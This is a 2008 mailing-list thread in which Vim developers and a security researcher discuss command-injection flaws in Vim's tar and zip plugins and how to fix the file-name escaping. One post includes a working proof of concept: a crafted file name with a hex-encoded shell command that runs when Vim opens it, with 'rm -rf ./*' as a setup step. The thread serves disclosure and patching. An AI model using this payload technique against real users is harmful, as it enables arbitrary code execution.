Re: Collection of Vulnerabilities in Fully Patched Vim 7.1
Bram Moolenaar
Jan Minar wrote:
> 1. Summary
>
> Product : Vim -- Vi IMproved
> Version : Tested with 7.1.314 and 6.4
> Impact : Arbitrary code execution
> Wherefrom: Local and remote
> Original : http://www.rdancer.org/vulnerablevim.html
>
> Improper quoting in some parts of Vim written in the Vim Script can lead to
> arbitrary code execution upon opening a crafted file.
Thanks to Jan for finding these problems and explaining them
exhaustively. I received a note a month ago and all reported problems
have been fixed. Either by patches or updates to the runtime files.
Note that version 7.1.314, as reported in the Summary, does not have
most of the reported problems. The problems in the plugins have also
been fixed, this requires updating the runtime files. Information about
that can be found at http://www.vim.org/runtime.php
Patch 7.1.299 has added the fnameescape() function, which fixes the
reported issues with escaping command arguments. It's not as difficult
as suggested in the report.
If you find any remaining or related problems, please report to me
directly. That's the best way to get them fixed.
--
How To Keep A Healthy Level Of Insanity:
15. Five days in advance, tell your friends you can't attend their
party because you're not in the mood.
/// Bram Moolenaar -- Br...@Moolenaar.net -- http://www.Moolenaar.net \\\
/// sponsor Vim, vote for features -- http://www.Vim.org/sponsor/ \\\
\\\ download, build and distribute -- http://www.A-A-P.org ///
\\\ help me help AIDS victims -- http://ICCF-Holland.org ///
Yegappan Lakshmanan
>
> Jan Minar wrote:
>
>> 1. Summary
>>
>> Product : Vim -- Vi IMproved
>> Version : Tested with 7.1.314 and 6.4
>> Impact : Arbitrary code execution
>> Wherefrom: Local and remote
>> Original : http://www.rdancer.org/vulnerablevim.html
>>
>> Improper quoting in some parts of Vim written in the Vim Script can lead to
>> arbitrary code execution upon opening a crafted file.
>
> Thanks to Jan for finding these problems and explaining them
> exhaustively. I received a note a month ago and all reported problems
> have been fixed. Either by patches or updates to the runtime files.
>
What are the suggested changes to prevent the above types of exploits in
Vim plugins that are not shipped with Vim, but used by many users?
I see from the above page that most of the exploits are because of the use of
the "execute" command with a filename. Can we use the following code to fix
this exploit in other Vim plugins?
let s:esc_filename_chars = ' *?`%#"|!<' . "'\t\n"
let esc_fname = escape(fname, s:esc_filename_chars)
Many of these plugins are used with earlier versions of Vim. So we cannot use
the new fnameescape() function.
- Yegappan
Bram Moolenaar
Yegappan Lakshmanan wrote:
If you use a file name in combination with commands like ":edit" and
":write" you need to escape special characters. What you mention will
mostly do the trick. A problem is the backslash itself: On Unix you
need to escape it, on MS-Windows it depends on whether the next
character is a normal file name character. Thus you should use
fnameescape() whenever it is available.
Note that this exploit is very weak, since you need to somehow have the
user edit a weird file name. But the escaping also helps to edit files
with special characters.
--
The technology involved in making anything invisible is so infinitely
complex that nine hundred and ninety-nine billion, nine hundred and
ninety-nine million, nine hundred and ninety-nine thousand, nine hundred
and ninety-nine times out of a trillion it is much simpler and more
effective just to take the thing away and do without it.
-- Douglas Adams, "The Hitchhiker's Guide to the Galaxy"
Jan Minář
---------- Forwarded message ----------
From: Jan Minář <rda...@rdancer.org>
Date: Tue, Jul 1, 2008 at 8:36 PM
Subject: Re: Collection of Vulnerabilities in Fully Patched Vim 7.1
To: full-di...@lists.grok.org.uk, bug...@securityfocus.com,
vim...@googlegroups.com, Bram Moolenaar <Br...@moolenaar.net>
Cc: bu...@vim.org
On Sat, Jun 14, 2008 at 2:09 PM, Bram Moolenaar <Br...@moolenaar.net> wrote:
>
> Jan Minar wrote:
>
>> 1. Summary
>>
>> Product : Vim -- Vi IMproved
>> Version : Tested with 7.1.314 and 6.4
>> Impact : Arbitrary code execution
>> Wherefrom: Local and remote
>> Original : http://www.rdancer.org/vulnerablevim.html
>>
>> Improper quoting in some parts of Vim written in the Vim Script can lead to
>> arbitrary code execution upon opening a crafted file.
> Note that version 7.1.314, as reported in the Summary, does not have
> most of the reported problems. The problems in the plugins have also
> been fixed, this requires updating the runtime files. Information about
> that can be found at http://www.vim.org/runtime.php
I do apologize: as written in the advisory, the version I worked with
was 7.1.298. 7.1.314 was only partly vulnerable. FWIW, I have
updated the advisory at http://www.rdancer.orgvulnerablevim.html .
Thanks to Bram for all the good work.
7.2a.10 with updated runtime is still vulnerable to the zipplugin
attack, and an updated tarplugin attack:
-------------------------------------------
-------- Test results below ---------------
-------------------------------------------
filetype.vim
strong : EXPLOIT FAILED
weak : EXPLOIT FAILED
tarplugin : EXPLOIT FAILED
tarplugin.updated: VULNERABLE
zipplugin : VULNERABLE
xpm.vim
xpm : EXPLOIT FAILED
xpm2 : EXPLOIT FAILED
remote : EXPLOIT FAILED
gzip_vim : EXPLOIT FAILED
netrw : EXPLOIT FAILED
The original tarplugin exploit now produces a string of telling error messages:
/bin/bash: so%: command not found
tar: /home/rdancer/vuln/vim/tarplugin/sploit/foo'|sosploit/foo:
Cannot open: No such file or directory
tar: Error is not recoverable: exiting now
/bin/bash: retu: command not found
/bin/bash: bar.tar|retu|'bar.tar: command not found
It's easy to see that it is still possible to execute arbitrary shell commands.
$VIMRUNTIME/autoload/tar.vim of Vim 7.2a.10:
136 if tarfile =~# '\.\(gz\|tgz\)$'
137 " call Decho("1: exe silent r! gzip -d -c
".s:Escape(tarfile)." | ".g:tar_cmd." -".g:tar_browseoptions." - ")
*138 exe "silent r! gzip -d -c -- ".s:Escape(tarfile)." |
".g:tar_cmd." -".g:tar_browseoptions." - "
139 elseif tarfile =~# '\.lrp'
140 " call Decho("2: exe silent r! cat --
".s:Escape(tarfile)."|gzip -d -c -|".g:tar_cmd."
-".g:tar_browseoptions." - ")
*141 exe "silent r! cat -- ".s:Escape(tarfile)."|gzip -d -c
-|".g:tar_cmd." -".g:tar_browseoptions." - "
142 elseif tarfile =~# '\.bz2$'
143 " call Decho("3: exe silent r! bzip2 -d -c
".s:Escape(tarfile)." | ".g:tar_cmd." -".g:tar_browseoptions." - ")
*144 exe "silent r! bzip2 -d -c -- ".s:Escape(tarfile)." |
".g:tar_cmd." -".g:tar_browseoptions." - "
145 else
146 " call Decho("4: exe silent r! ".g:tar_cmd."
-".g:tar_browseoptions." ".s:Escape(tarfile))
**147 exe "silent r! ".g:tar_cmd." -".g:tar_browseoptions."
".s:Escape(tarfile)
[...]
444 fun s:Escape(name)
445 " shellescape() was added by patch 7.0.111
446 if exists("*shellescape")
447 let qnameq= shellescape(a:name)
448 else
449 let qnameq= g:tar_shq . a:name . g:tar_shq
450 endif
451 return qnameq
452 endfun
(*) s:Escape() does not suffice, as it fails to escape ``%'' and friends.
(**) tar(1) allows arbitrary command execution via options ``--to-command'',
and ``--use-compress-program''.
The updated tarplugin attack is rather simple:
$ rm -rf ./*
$ touch "foo%;eval eval \`echo 0:64617465203e2070776e6564 |
xxd -r\`;'bar.tar"
$ vim +:q ./foo*
$ ls -l pwned
-rw-r--r-- 1 rdancer users 29 2008-07-01 20:18 pwned
Cheers,
Jan Minar.
Tony Mechelynck
> Looks like this didn't go through, so here it is again:
> The updated tarplugin attack is rather simple:
>
> $ rm -rf ./*
> $ touch "foo%;eval eval \`echo 0:64617465203e2070776e6564 |
> xxd -r\`;'bar.tar"
> $ vim +:q ./foo*
> $ ls -l pwned
> -rw-r--r-- 1 rdancer users 29 2008-07-01 20:18 pwned
>
> Cheers,
> Jan Minar.
I'm seeing this too. Looks like vulnerability to executing arbitrary
shell commands via a specially crafted "tarfile" (which can be
zero-length as here) with an unusual name. The maintainer of the suspect
script ($VIMRUNTIME/plugin/tarPlugin.vim and/or
$VIMRUNTIME/autoload/tar.vim) would be Dr.Chip; I think he's reading
these groups but I'm adding him as a Bcc just in case (Dr. Chip, sorry
if you got two copies of this post). FWIW, I'm using tarPlugin.vim v16
(date not mentioned) and tar.vim v16 (dated Jun 12, 2008) on gvim 7.2a.11
Best regards,
Tony.
--
Bureaucrat, n.:
A person who cuts red tape sideways.
-- J. McCabe
Bram Moolenaar
Jan Minar wrote:
> Looks like this didn't go through, so here it is again:
I did see it. Thanks for the followup.
The problem with the zip plugin was a mistake in the script, using has()
instead of exists(). Has already been fixed, but it's not distributed
yet.
The problem with not escaping %, # and a few others needs to be solved.
When using "!cmd arg" these characters need to be escaped. However,
when using system() they must not be escaped, since the backslashes
won't be removed.
We could add an optional argument to shellescape() to indicate it's for
system() or for ":!cmd". With one of them being the default.
Another way would be to have two functions. Naming them isn't easy
though. bangescape() and systemescape()?
I think I prefer adding an argument to shellescape(). That way it's
also clearer there is a choice if you read the docs.
--
hundred-and-one symptoms of being an internet addict:
139. You down your lunch in five minutes, at your desk, so you can
spend the rest of the hour surfing the Net.